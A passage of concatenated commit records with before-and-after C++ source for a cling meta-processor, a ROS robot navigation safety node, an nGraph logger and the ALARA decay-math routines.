\"cling::MetaProcessor::setFileStream:\"\n                       \" The file path \" << file.data() << \"is not valid.\\n\";\n        } else {\n          fclose(f);\n        }\n      }\n    \/\/ Else unredirection, so switch to the previous file.\n    } else {\n      \/\/ If there is no previous file on the stack we pop the file\n      if (!prevFileStack.empty()) {\n        prevFileStack.pop_back();\n      }\n    }\n  }\n\n  void MetaProcessor::setStdStream(llvm::StringRef file,\n                                   RedirectionScope stream, bool append) {\n\n    if (stream & kSTDOUT) {\n      setFileStream(file, append, STDOUT_FILENO, m_PrevStdoutFileName);\n    }\n    if (stream & kSTDERR) {\n      setFileStream(file, append, STDERR_FILENO, m_PrevStderrFileName);\n    }\n  }\n\n  int MetaProcessor::copyFileDescriptor(int fd) {\n    int backupFD = dup(fd);\n    if (backupFD < 0) {\n      llvm::errs() << \"MetaProcessor::copyFileDescriptor: Duplicating the file\"\n                   \" descriptor \" << fd << \"resulted in an error.\"\n                   \" Will not be able to unredirect.\\n\";\n    }\n    return backupFD;\n  }\n\n  void MetaProcessor::registerUnloadPoint(const Transaction* T,\n                                          llvm::StringRef filename) {\n    m_MetaParser->getActions().registerUnloadPoint(T, filename);\n  }\n\n} \/\/ end namespace cling\n<|endoftext|>"}
{"text":"<commit_before>#include <carl_safety\/nav_safety.h>\n\nNavSafety::NavSafety() :\n    acMoveBase(\"\/move_base\", true),\n    acHome(\"jaco_arm\/home_arm\", true),\n    asSafeMove(node, \"\/move_base_safe\", boost::bind(&NavSafety::safeMoveCallback, this, _1), false)\n{\n  \/\/ a private handle for this ROS node (allows retrieval of relative parameters)\n  ros::NodeHandle private_nh(\"~\");\n  private_nh.param<bool>(\"use_teleop_safety\", use_teleop_safety, false);\n\n  \/\/ read in parameters\n  std::string str;\n  private_nh.param<std::string>(\"controller_type\", str, \"digital\");\n  if (str.compare(\"digital\") == 0)\n    controllerType = DIGITAL;\n  else\n    controllerType = ANALOG;\n\n  \/\/ ROS topics\n  if(use_teleop_safety)\n    baseCommandPublisher = node.advertise<geometry_msgs::Twist>(\"cmd_vel_safety_check\", 1);\n  else\n    baseCommandPublisher = node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 1);\n\n  safeBaseCommandSubscriber = node.subscribe(\"cmd_vel_safe\", 1, &NavSafety::safeBaseCommandCallback, this);\n  joySubscriber = node.subscribe(\"joy\", 1, &NavSafety::joyCallback, this);\n  robotPoseSubscriber = node.subscribe(\"robot_pose\", 1, &NavSafety::poseCallback, this);\n\n  \/\/ ROS services\n  jacoPosClient = node.serviceClient<wpi_jaco_msgs::GetAngularPosition>(\"jaco_arm\/get_angular_position\");\n\n  \/\/initialization\n  stopped = false;\n  x = 0.0;\n  y = 0.0;\n  theta = 0.0;\n  retractPos.resize(6);\n  retractPos[0] = -2.57;\n  retractPos[1] = 1.39;\n  retractPos[2] = .527;\n  retractPos[3] = -.084;\n  retractPos[4] = .515;\n  retractPos[5] = -1.745;\n\n  asSafeMove.start();\n}\n\nvoid NavSafety::joyCallback(const sensor_msgs::Joy::ConstPtr& joy)\n{\n  if (controllerType == DIGITAL)\n  {\n    if (joy->buttons.at(8) == 1)\n    {\n      stopped = true;\n      cancelNavGoals();\n    }\n    else if (joy->buttons.at(9) == 1)\n      stopped = false;\n  }\n  else\n  {\n    if (joy->buttons.at(6) == 1)\n    {\n      stopped = true;\n      cancelNavGoals();\n    }\n    else if (joy->buttons.at(7) == 1)\n      stopped = false;\n  }\n}\n\nvoid NavSafety::safeBaseCommandCallback(const geometry_msgs::Twist::ConstPtr& msg)\n{\n  if (!stopped)\n  {\n    if (!isArmRetracted())\n    {\n      ROS_INFO(\"Overriding manual navigation because arm is not retracted.\");\n      return;\n    }\n    if (x < BOUNDARY_X && y > BOUNDARY_Y)\n    {\n      \/\/pass command through\n      baseCommandPublisher.publish(*msg);\n    }\n    else\n    {\n      if (x >= BOUNDARY_X)\n      {\n        if (theta > -PI \/ 2.0 && theta < PI \/ 2.0)\n        {\n          \/\/only publish if going backwards (left on map)\n          if (msg->linear.x <= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n        else\n        {\n          \/\/only publish if going forwards (left on map)\n          if (msg->linear.x >= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n      }\n\n      if (y <= BOUNDARY_Y)\n      {\n        if (theta > 0.0)\n        {\n          \/\/only publish if going forwards (up on map)\n          if (msg->linear.x <= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n        else\n        {\n          \/\/only publish if going backwards (up on map)\n          if (msg->linear.x >= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n      }\n    }\n  }\n}\n\nvoid NavSafety::cancelNavGoals()\n{\n  acMoveBase.cancelAllGoals();\n  move_base_msgs::MoveBaseResult moveResult;\n  asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n}\n\nvoid NavSafety::poseCallback(const geometry_msgs::Pose::ConstPtr& msg)\n{\n  x = msg->position.x;\n  y = msg->position.y;\n\n  \/\/convert quaternion to yaw\n  float q0 = msg->orientation.w;\n  float q1 = msg->orientation.x;\n  float q2 = msg->orientation.y;\n  float q3 = msg->orientation.z;\n  theta = -atan2(2 * (q0 * q3 + q1 * q2), 1 - 2 * (q2 * q2 + q3 * q3));\n}\n\nvoid NavSafety::safeMoveCallback(const move_base_msgs::MoveBaseGoalConstPtr &goal)\n{\n  if (!stopped)\n  {\n    if (!isArmRetracted())\n    {\n      ROS_INFO(\"Retracting arm for safe navigation...\");\n      wpi_jaco_msgs::HomeArmGoal retractGoal;\n      retractGoal.retract = true;\n      retractGoal.retractPosition.position = true;\n      retractGoal.retractPosition.armCommand = true;\n      retractGoal.retractPosition.fingerCommand = false;\n      retractGoal.retractPosition.repeat = false;\n      retractGoal.retractPosition.joints.resize(6);\n      retractGoal.retractPosition.joints = retractPos;\n      acHome.sendGoal(retractGoal);\n      acHome.waitForResult(ros::Duration(15.0));\n      ros::Duration(3.0).sleep();\n    }\n    ROS_INFO(\"Sending nav goal to move_base action server.\");\n    acMoveBase.sendGoal(*goal);\n    acMoveBase.waitForResult();\n    asSafeMove.setSucceeded(*acMoveBase.getResult());\n    ROS_INFO(\"Finished\");\n  }\n  else\n  {\n    move_base_msgs::MoveBaseResult moveResult;\n    asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n  }\n}\n\nbool NavSafety::isArmRetracted()\n{\n  float dstFromRetract = 0;\n\n  \/\/get joint positions\n  wpi_jaco_msgs::GetAngularPosition::Request req;\n  wpi_jaco_msgs::GetAngularPosition::Response res;\n  if(!jacoPosClient.call(req, res))\n  {\n    ROS_INFO(\"Could not call Jaco joint position service.\");\n    move_base_msgs::MoveBaseResult moveResult;\n    asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n    return false;\n  }\n\n  for (unsigned int i = 0; i < 6; i ++)\n  {\n    dstFromRetract += fabs(retractPos[i] - res.pos[i]);\n  }\n\n  if (dstFromRetract > 0.175)\n    return false;\n  return true;\n}\n\nint main(int argc, char **argv)\n{\n  \/\/ initialize ROS and the node\n  ros::init(argc, argv, \"nav_safety\");\n\n  NavSafety n;\n\n  ros::spin();\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>Removed some debugging statements<commit_after>#include <carl_safety\/nav_safety.h>\n\nNavSafety::NavSafety() :\n    acMoveBase(\"\/move_base\", true),\n    acHome(\"jaco_arm\/home_arm\", true),\n    asSafeMove(node, \"\/move_base_safe\", boost::bind(&NavSafety::safeMoveCallback, this, _1), false)\n{\n  \/\/ a private handle for this ROS node (allows retrieval of relative parameters)\n  ros::NodeHandle private_nh(\"~\");\n  private_nh.param<bool>(\"use_teleop_safety\", use_teleop_safety, false);\n\n  \/\/ read in parameters\n  std::string str;\n  private_nh.param<std::string>(\"controller_type\", str, \"digital\");\n  if (str.compare(\"digital\") == 0)\n    controllerType = DIGITAL;\n  else\n    controllerType = ANALOG;\n\n  \/\/ ROS topics\n  if(use_teleop_safety)\n    baseCommandPublisher = node.advertise<geometry_msgs::Twist>(\"cmd_vel_safety_check\", 1);\n  else\n    baseCommandPublisher = node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 1);\n\n  safeBaseCommandSubscriber = node.subscribe(\"cmd_vel_safe\", 1, &NavSafety::safeBaseCommandCallback, this);\n  joySubscriber = node.subscribe(\"joy\", 1, &NavSafety::joyCallback, this);\n  robotPoseSubscriber = node.subscribe(\"robot_pose\", 1, &NavSafety::poseCallback, this);\n\n  \/\/ ROS services\n  jacoPosClient = node.serviceClient<wpi_jaco_msgs::GetAngularPosition>(\"jaco_arm\/get_angular_position\");\n\n  \/\/initialization\n  stopped = false;\n  x = 0.0;\n  y = 0.0;\n  theta = 0.0;\n  retractPos.resize(6);\n  retractPos[0] = -2.57;\n  retractPos[1] = 1.39;\n  retractPos[2] = .527;\n  retractPos[3] = -.084;\n  retractPos[4] = .515;\n  retractPos[5] = -1.745;\n\n  asSafeMove.start();\n}\n\nvoid NavSafety::joyCallback(const sensor_msgs::Joy::ConstPtr& joy)\n{\n  if (controllerType == DIGITAL)\n  {\n    if (joy->buttons.at(8) == 1)\n    {\n      stopped = true;\n      cancelNavGoals();\n    }\n    else if (joy->buttons.at(9) == 1)\n      stopped = false;\n  }\n  else\n  {\n    if (joy->buttons.at(6) == 1)\n    {\n      stopped = true;\n      cancelNavGoals();\n    }\n    else if (joy->buttons.at(7) == 1)\n      stopped = false;\n  }\n}\n\nvoid NavSafety::safeBaseCommandCallback(const geometry_msgs::Twist::ConstPtr& msg)\n{\n  if (!stopped)\n  {\n    if (!isArmRetracted())\n    {\n      \/\/ignore movement command if arm is in a dangerous position\n      return;\n    }\n    if (x < BOUNDARY_X && y > BOUNDARY_Y)\n    {\n      \/\/pass command through\n      baseCommandPublisher.publish(*msg);\n    }\n    else\n    {\n      if (x >= BOUNDARY_X)\n      {\n        if (theta > -PI \/ 2.0 && theta < PI \/ 2.0)\n        {\n          \/\/only publish if going backwards (left on map)\n          if (msg->linear.x <= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n        else\n        {\n          \/\/only publish if going forwards (left on map)\n          if (msg->linear.x >= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n      }\n\n      if (y <= BOUNDARY_Y)\n      {\n        if (theta > 0.0)\n        {\n          \/\/only publish if going forwards (up on map)\n          if (msg->linear.x <= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n        else\n        {\n          \/\/only publish if going backwards (up on map)\n          if (msg->linear.x >= 0.0)\n            baseCommandPublisher.publish(*msg);\n        }\n      }\n    }\n  }\n}\n\nvoid NavSafety::cancelNavGoals()\n{\n  acMoveBase.cancelAllGoals();\n  move_base_msgs::MoveBaseResult moveResult;\n  asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n}\n\nvoid NavSafety::poseCallback(const geometry_msgs::Pose::ConstPtr& msg)\n{\n  x = msg->position.x;\n  y = msg->position.y;\n\n  \/\/convert quaternion to yaw\n  float q0 = msg->orientation.w;\n  float q1 = msg->orientation.x;\n  float q2 = msg->orientation.y;\n  float q3 = msg->orientation.z;\n  theta = -atan2(2 * (q0 * q3 + q1 * q2), 1 - 2 * (q2 * q2 + q3 * q3));\n}\n\nvoid NavSafety::safeMoveCallback(const move_base_msgs::MoveBaseGoalConstPtr &goal)\n{\n  if (!stopped)\n  {\n    if (!isArmRetracted())\n    {\n      ROS_INFO(\"Retracting arm for safe navigation...\");\n      wpi_jaco_msgs::HomeArmGoal retractGoal;\n      retractGoal.retract = true;\n      retractGoal.retractPosition.position = true;\n      retractGoal.retractPosition.armCommand = true;\n      retractGoal.retractPosition.fingerCommand = false;\n      retractGoal.retractPosition.repeat = false;\n      retractGoal.retractPosition.joints.resize(6);\n      retractGoal.retractPosition.joints = retractPos;\n      acHome.sendGoal(retractGoal);\n      acHome.waitForResult(ros::Duration(15.0));\n      ros::Duration(3.0).sleep();\n    }\n    ROS_INFO(\"Sending nav goal to move_base action server.\");\n    acMoveBase.sendGoal(*goal);\n    acMoveBase.waitForResult();\n    asSafeMove.setSucceeded(*acMoveBase.getResult());\n    ROS_INFO(\"Navigation finished\");\n  }\n  else\n  {\n    move_base_msgs::MoveBaseResult moveResult;\n    asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n  }\n}\n\nbool NavSafety::isArmRetracted()\n{\n  float dstFromRetract = 0;\n\n  \/\/get joint positions\n  wpi_jaco_msgs::GetAngularPosition::Request req;\n  wpi_jaco_msgs::GetAngularPosition::Response res;\n  if(!jacoPosClient.call(req, res))\n  {\n    ROS_INFO(\"Could not call Jaco joint position service.\");\n    move_base_msgs::MoveBaseResult moveResult;\n    asSafeMove.setAborted(moveResult, \"Navigation aborted for safety reasons.\");\n    return false;\n  }\n\n  for (unsigned int i = 0; i < 6; i ++)\n  {\n    dstFromRetract += fabs(retractPos[i] - res.pos[i]);\n  }\n\n  if (dstFromRetract > 0.175)\n    return false;\n  return true;\n}\n\nint main(int argc, char **argv)\n{\n  \/\/ initialize ROS and the node\n  ros::init(argc, argv, \"nav_safety\");\n\n  NavSafety n;\n\n  ros::spin();\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/*****************************************************************************\n\/\/ Copyright 2017-2018 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/*****************************************************************************\n\n#include <chrono>\n#include <condition_variable>\n#include <ctime>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <mutex>\n#include <thread>\n\n#include \"ngraph\/log.hpp\"\n\nusing namespace std;\nusing namespace ngraph;\n\nostream& ngraph::get_nil_stream()\n{\n    static stringstream nil;\n    return nil;\n}\n\nvoid ngraph::default_logger_handler_func(const string& s)\n{\n    cout << s << endl;\n}\n\nLogHelper::LogHelper(LOG_TYPE type,\n                     const char* file,\n                     int line,\n                     function<void(const string&)> handler_func)\n    : m_handler_func(handler_func)\n{\n    switch (type)\n    {\n    case LOG_TYPE::_LOG_TYPE_ERROR: m_stream << \"[ERR] \"; break;\n    case LOG_TYPE::_LOG_TYPE_WARNING: m_stream << \"[WARN] \"; break;\n    case LOG_TYPE::_LOG_TYPE_INFO: m_stream << \"[INFO] \"; break;\n    case LOG_TYPE::_LOG_TYPE_DEBUG: m_stream << \"[DEBUG] \"; break;\n    }\n\n    time_t tt = chrono::system_clock::to_time_t(chrono::system_clock::now());\n    auto tm = gmtime(&tt);\n    char buffer[256];\n    strftime(buffer, sizeof(buffer), \"%Y-%m-%dT%H:%M:%Sz\", tm);\n    m_stream << buffer << \" \";\n\n    m_stream << file;\n    m_stream << \" \" << line;\n    m_stream << \"\\t\";\n}\n\nLogHelper::~LogHelper()\n{\n    if (m_handler_func)\n    {\n        m_handler_func(m_stream.str());\n    }\n    \/\/ Logger::log_item(m_stream.str());\n}\n<commit_msg>Make debug logging threadsafe (#1977)<commit_after>\/\/*****************************************************************************\n\/\/ Copyright 2017-2018 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/*****************************************************************************\n\n#include <chrono>\n#include <condition_variable>\n#include <ctime>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <mutex>\n#include <thread>\n\n#include \"ngraph\/log.hpp\"\n\nusing namespace std;\nusing namespace ngraph;\n\nnamespace\n{\n    class NilStreamBuf final : public streambuf\n    {\n        \/\/ N.B. We derive from the base streambuf implementation, in\n        \/\/      which underflow() and overflow() both return\n        \/\/      Traits::eof() -- any access returns a failure.\n    };\n}\n\nostream& ngraph::get_nil_stream()\n{\n    \/\/ N.B. When debug logging is disabled, multiple threads may\n    \/\/      access the nil stream simultaneously, so it's important to\n    \/\/      return a threadsafe nil stream implementation.\n    static NilStreamBuf nil_buf;\n    static ostream nil{&nil_buf};\n    return nil;\n}\n\nvoid ngraph::default_logger_handler_func(const string& s)\n{\n    cout << s << endl;\n}\n\nLogHelper::LogHelper(LOG_TYPE type,\n                     const char* file,\n                     int line,\n                     function<void(const string&)> handler_func)\n    : m_handler_func(handler_func)\n{\n    switch (type)\n    {\n    case LOG_TYPE::_LOG_TYPE_ERROR: m_stream << \"[ERR] \"; break;\n    case LOG_TYPE::_LOG_TYPE_WARNING: m_stream << \"[WARN] \"; break;\n    case LOG_TYPE::_LOG_TYPE_INFO: m_stream << \"[INFO] \"; break;\n    case LOG_TYPE::_LOG_TYPE_DEBUG: m_stream << \"[DEBUG] \"; break;\n    }\n\n    time_t tt = chrono::system_clock::to_time_t(chrono::system_clock::now());\n    auto tm = gmtime(&tt);\n    char buffer[256];\n    strftime(buffer, sizeof(buffer), \"%Y-%m-%dT%H:%M:%Sz\", tm);\n    m_stream << buffer << \" \";\n\n    m_stream << file;\n    m_stream << \" \" << line;\n    m_stream << \"\\t\";\n}\n\nLogHelper::~LogHelper()\n{\n    if (m_handler_func)\n    {\n        m_handler_func(m_stream.str());\n    }\n    \/\/ Logger::log_item(m_stream.str());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* $Id: math.C,v 1.17 2007-03-01 15:53:22 phruksar Exp $ *\/\n#include \"alara.h\"\n#include \"Matrix.h\"\n\n\/* this is used to determine how many terms are needed in the expansion *\/\n#define MAXEXPTOL 1e-15\n\n\/* This is the maximum number of terms allowed for the expansion method\n * If more are needed, the inversion method is used *\/\n#define MAXNUMEXPTERMS 15\n\n\/* This is used to determine if poles are degenerate.  Loops should\n * generate poles which are exactly the same, but poles with small\n * relative differences may act as degeneracies anyway *\/\n#define SMALL_REL_DIFF 1e-8\n\n\/* routine for to calculate factorial *\/\ndouble fact(int i)\n{\n  int idx,idx2;\n  \/* create a look-up table for factorials *\/\n  const int maxFactorial = 50;\n  static double *factorials = NULL;\n\n  if (factorials == NULL)\n    {\n      factorials = new double[maxFactorial];\n      for (idx=0;idx<maxFactorial;idx++)\n\t{\n\t  idx2 = idx;\n\t  factorials[idx] = 1;\n\t  while (idx2>1) factorials[idx] *= idx2--;\n\t}\n    }\n\n  if (i < maxFactorial)\n    return factorials[i];\n  else\n    {\n      double result=1;\n      \n      while (i>1) result *= i--;\n      \n      return result;\n    }\n}\n\n\ndouble bateman(int row, int col, double* d, double t, int& finitePositive)\n{\n  \/\/A short-term solution to a loop problem is to bypass a Bateman method.\n  \/\/\/\/\/\/\/\/\n\/\/   double sum_la = laplaceExpansion(row, col, d, t, finitePositive);\n\/\/   if (finitePositive)\n\/\/     return sum_la;\n\/\/   else\n    return laplaceInverse(row, col, d, t, finitePositive);\n  \/\/\/\/\/\/\/\/\n\n  double sum, sumInc, den;\n  int term, denTerm;\n\n  finitePositive = TRUE;\n\n  sum = 0;\n  sumInc = 0;\n\n  for (term=col;term<row;term++)\n    {\n      \/* set denominator element based on Laplace root: d[term]\n       * (traditional analytic inverse Laplace transform) *\/\n      den = 1;\n\n      for (denTerm=col;denTerm<term;denTerm++)\n\tden *= (d[denTerm]-d[term]);\n\n      for (denTerm++;denTerm<=row;denTerm++)\n\tden *= (d[denTerm]-d[term]);\n\n      \/* set numerator element based on Laplace root: d[term] *\/\n      sumInc = expm1(-d[term]*t)-expm1(-d[row]*t);\n\n      \/* add element based on Laplace root: d[term] *\/\n      sum += sumInc\/den;\n    }\n\n  \/* negative results are due to round-off error and \n   * imply very small results *\/\n  if (sum < 0 || isnan(sum))\n    {\n      finitePositive = FALSE;\n      return 0;\n    }\n  else\n   return sum;\n\n};\n\n\ndouble dGn(int idx, double *pole, int *mult, int numPoles, int termNum)\n{\n  int pNum, pwr;\n  double invPwrSum,result = 0;\n\n\n  if (termNum==0)   \/* End Condition - 0th derivative *\/\n    \/* return inverse product of pole-otherPoles *\/\n    {\n      result = 1;\n\n      \/* all poles before the current pole *\/\n      for (pNum=0; pNum<idx; pNum++)\n\tresult \/= pow( pole[pNum] - pole[idx] , mult[pNum] );\n\n      \/* all poles after the current pole *\/\n      for (pNum++; pNum<numPoles; pNum++)\n\tresult \/= pow( pole[pNum] - pole[idx] , mult[pNum] );\n    }\n  else\n    for (pwr=termNum;pwr>0;pwr--)\n      {\n\tinvPwrSum = 0;\n\n\t\/* all poles before the current pole *\/\n\tfor (pNum=0; pNum<idx; pNum++)\n\t  invPwrSum += mult[pNum] * pow( pole[pNum]-pole[idx] , -pwr );\n\n\t\/* all poles after the current pole *\/\n\tfor (pNum++; pNum<numPoles; pNum++)\n\t  invPwrSum += mult[pNum] * pow( pole[pNum]-pole[idx] , -pwr );\n\n\t\/* recursively add terms *\/\n\tresult += -2*(pwr%2 -.5) * (fact(termNum-1)\/fact(termNum-pwr)) \n\t  * invPwrSum * dGn(idx,pole,mult,numPoles,termNum-pwr);\n      }\n  \n  return result;\n\n}\n\ndouble laplaceInverse(int row, int col, double *d, double t, \n\t\t      int& finitePositive)\n{\n  int idx, checkIdx, multCnt;\n  int numPoles = 0;\n  int *mult = new int[row-col+1];\n  double *pole = new double[row-col+1];\n  double poleResult, result  = 0;\n\n  finitePositive = TRUE;\n\n  \/* index all the poles with the multiplicities *\/\n  for (idx = col;idx<=row;idx++)\n    {\n      for (checkIdx=0;checkIdx<numPoles;checkIdx++)\n\tif ( fabs((d[idx]-pole[checkIdx]))<SMALL_REL_DIFF*d[idx] )\n\t  {\n\t    mult[checkIdx]++;\n\t    break;\n\t  }\n      if (checkIdx == numPoles)\n\t{\n\t  pole[checkIdx] = d[idx];\n\t  mult[checkIdx] = 1;\n\t  numPoles++;\n\t}\n    }\n\n  \/* perform recursive analytic Laplace inversion *\/\n  for (idx=0;idx<numPoles;idx++)\n    {\n      poleResult = 0;\n\n      for (multCnt=mult[idx];multCnt>0;multCnt--)\n\tpoleResult += dGn(idx, pole, mult, numPoles, mult[idx] - multCnt)\n\t  * pow(t,multCnt-1)\n\t  \/ fact(multCnt-1) \n\t  \/ fact(mult[idx]-multCnt) ;\n\n      result += poleResult * exp(-pole[idx]*t);\n    }\n\n  delete mult;\n  delete pole;\n\n  if (result < 0 || isnan(result))\n    {\n      finitePositive = FALSE;\n      return 0;\n    } \n  else\n    return result;\n\n}\n\n\n\/* function to return a rough estimate of whether or not the expansion technique\n   will converge quickly enough *\/\nint smallExpansion(int row, int col, double *d, double t)\n{\n  int poleNum, n=MAXNUMEXPTERMS;\n  int rank=row-col+1;\n  double max=0;\n\n  \/* for each pole in the problem *\/\n  for (poleNum=col;poleNum<=row;poleNum++)\n    \/* determine the largest pole *\/\n    max = d[poleNum]>max?d[poleNum]:max;\n\n  \/* using a defined maximum number of terms, if the last term results\n   * in a correction which is too large *\/\n  if (rank*pow(max*t,n)*fact(rank-1)\/(n*fact(n+rank-1)) > MAXEXPTOL)\n    \/* if too large, return false *\/\n    return FALSE;\n\n  return TRUE;\n}\n\n\n\n\ndouble laplaceExpansion(int row, int col, double *d, double t, int &converged)\n{\n\n  int idx, termNum;\n  int sz = row-col;\n  double result, correction;\n\n  \/* initialize matrix with destruction rates *\/\n  Matrix poleMat(d,sz+1,col);\n  Matrix powPoleMat(sz+1);\n\n  \/* innocent until proven guilty *\/\n  converged = TRUE;\n\n  \/* zeroth term is simply the correct power of t\/n!  *\/\n  result = pow(t,sz)\/fact(sz);\n\n  \/* for each successive term *\/\n  for (termNum=1;termNum<MAXNUMEXPTERMS;termNum++)\n    {\n      \/* multiply the power matrix by the non-power matrix *\/\n      powPoleMat *= poleMat;\n\n      \/* power of t\/n! times coefficient, with alternating sign!! *\/\n      correction = powPoleMat.rowSum(sz) * ( 1-2*(termNum%2) )\n\t* pow(t,termNum+sz)\/fact(termNum+sz);\n      \n      if (fabs(correction\/result) > MAXEXPTOL)\n\t\/* use this term if significant *\/\n\tresult += correction;\n      else\n\t\/* otherwise break *\/\n\tbreak;\n    }\n\n  \/* for monstrous decay rates (e.g. Be-8) the correction or\n   * result may become infinite *\/\n  if (termNum == MAXNUMEXPTERMS || isnan(result))\n    converged = FALSE;\n  \n  return result;\n}\n\ndouble fillTElement(int row, int col, double *P, double *d, double t, \n\t\t    int* loopRank, int rank)\n{\n\n  int idx,loopIdx,parLoopIdx;\n  int defSuccess, altSuccess;\n  double result;\n\n  \/* process loop information in reverse problem *\/\n  if (rank != row)\n    {\n      loopIdx = loopRank[rank];\n      parLoopIdx = loopRank[rank+1];\n    }\n  else\n    {\n      loopIdx = loopRank[row];\n      parLoopIdx = loopRank[row-1];\n    }\n\n  \/* if there is no loop, at this level, row - loopIdx = -1 *\/\n  if (loopIdx == -1)\n    loopIdx = row+1;\n\n  \/* do this product up front to eliminate costly\n   * computation which may end in 0 anyway *\/\n  double productionProduct = 1;\n  for (idx=col;idx<row;idx++)\n    productionProduct *= P[idx+1];\n\n  if (productionProduct == 0)\n    return productionProduct;\n\n  \/* implement default method *\/\n\n  \/* This seemingly complicated condition saves using the loop\n   * solution during a reference calculation when only the last\n   * isotope introduces the loop.  In this case, there is no real\n   * degeneracy, since the destruction rate of the last isotope is\n   * zero'ed for a reference calculation.  The condition can be\n   * understood as follows: \n   *  - when checking for loop solution, if we are calculating the\n   *    production from an isotope inside the loop, generally use\n   *    the loop sol'n, but only iff\n   *  - only the last isotope can ever have a destruction rate of\n   *    zero\n   *      - if d[row] > 0, use loop sol'n\n   *  - even if last isotope does have a 0 destruction rate, if\n   *    the previous isotope was already in a loop, we need to use\n   *    the loop sol'n\n   *      - if loopRank[row-1] > -1, check for loop sol'n \\\n   *        (This check must be done after the first one because\n   *        it ensures that we are not checking loopRank[-1])*\/\n  if (col<=row-loopIdx && (d[row] > 0 || parLoopIdx >-1))\n    {\n      \/* get rough estimate of success of expansion method *\/\n      defSuccess = smallExpansion(row,col,d,t);\n      \n      \/* if we think the expansion method is good, use it *\/\n      if (defSuccess)\n\tresult = laplaceExpansion(row,col,d,t,defSuccess);\n      \n      \/* if either we think the expansion method is bad,\n         or we prove that it is bad, use the inversion method *\/\n      if (!defSuccess)\n\tresult = laplaceInverse(row,col,d,t,altSuccess);\n    }\n  else\n    result = bateman(row,col,d,t,altSuccess);\n\n  \/* used during debugging \n  if (isinf(result) || isnan(result) )\n    error(2001,\"No mathematical method was successful!\");  *\/\n     \n  return result*productionProduct;\n}\n\n<commit_msg>Get rid of Bateman bypassing<commit_after>\/* $Id: math.C,v 1.18 2007-03-09 16:45:09 phruksar Exp $ *\/\n#include \"alara.h\"\n#include \"Matrix.h\"\n\n\/* this is used to determine how many terms are needed in the expansion *\/\n#define MAXEXPTOL 1e-15\n\n\/* This is the maximum number of terms allowed for the expansion method\n * If more are needed, the inversion method is used *\/\n#define MAXNUMEXPTERMS 15\n\n\/* This is used to determine if poles are degenerate.  Loops should\n * generate poles which are exactly the same, but poles with small\n * relative differences may act as degeneracies anyway *\/\n#define SMALL_REL_DIFF 1e-8\n\n\/* routine for to calculate factorial *\/\ndouble fact(int i)\n{\n  int idx,idx2;\n  \/* create a look-up table for factorials *\/\n  const int maxFactorial = 50;\n  static double *factorials = NULL;\n\n  if (factorials == NULL)\n    {\n      factorials = new double[maxFactorial];\n      for (idx=0;idx<maxFactorial;idx++)\n\t{\n\t  idx2 = idx;\n\t  factorials[idx] = 1;\n\t  while (idx2>1) factorials[idx] *= idx2--;\n\t}\n    }\n\n  if (i < maxFactorial)\n    return factorials[i];\n  else\n    {\n      double result=1;\n      \n      while (i>1) result *= i--;\n      \n      return result;\n    }\n}\n\n\ndouble bateman(int row, int col, double* d, double t, int& finitePositive)\n{\n  double sum, sumInc, den;\n  int term, denTerm;\n\n  finitePositive = TRUE;\n\n  sum = 0;\n  sumInc = 0;\n\n  for (term=col;term<row;term++)\n    {\n      \/* set denominator element based on Laplace root: d[term]\n       * (traditional analytic inverse Laplace transform) *\/\n      den = 1;\n\n      for (denTerm=col;denTerm<term;denTerm++)\n\tden *= (d[denTerm]-d[term]);\n\n      for (denTerm++;denTerm<=row;denTerm++)\n\tden *= (d[denTerm]-d[term]);\n\n      \/* set numerator element based on Laplace root: d[term] *\/\n      sumInc = expm1(-d[term]*t)-expm1(-d[row]*t);\n\n      \/* add element based on Laplace root: d[term] *\/\n      sum += sumInc\/den;\n    }\n\n  \/* negative results are due to round-off error and \n   * imply very small results *\/\n  if (sum < 0 || isnan(sum))\n    {\n      finitePositive = FALSE;\n      return 0;\n    }\n  else\n   return sum;\n\n};\n\n\ndouble dGn(int idx, double *pole, int *mult, int numPoles, int termNum)\n{\n  int pNum, pwr;\n  double invPwrSum,result = 0;\n\n\n  if (termNum==0)   \/* End Condition - 0th derivative *\/\n    \/* return inverse product of pole-otherPoles *\/\n    {\n      result = 1;\n\n      \/* all poles before the current pole *\/\n      for (pNum=0; pNum<idx; pNum++)\n\tresult \/= pow( pole[pNum] - pole[idx] , mult[pNum] );\n\n      \/* all poles after the current pole *\/\n      for (pNum++; pNum<numPoles; pNum++)\n\tresult \/= pow( pole[pNum] - pole[idx] , mult[pNum] );\n    }\n  else\n    for 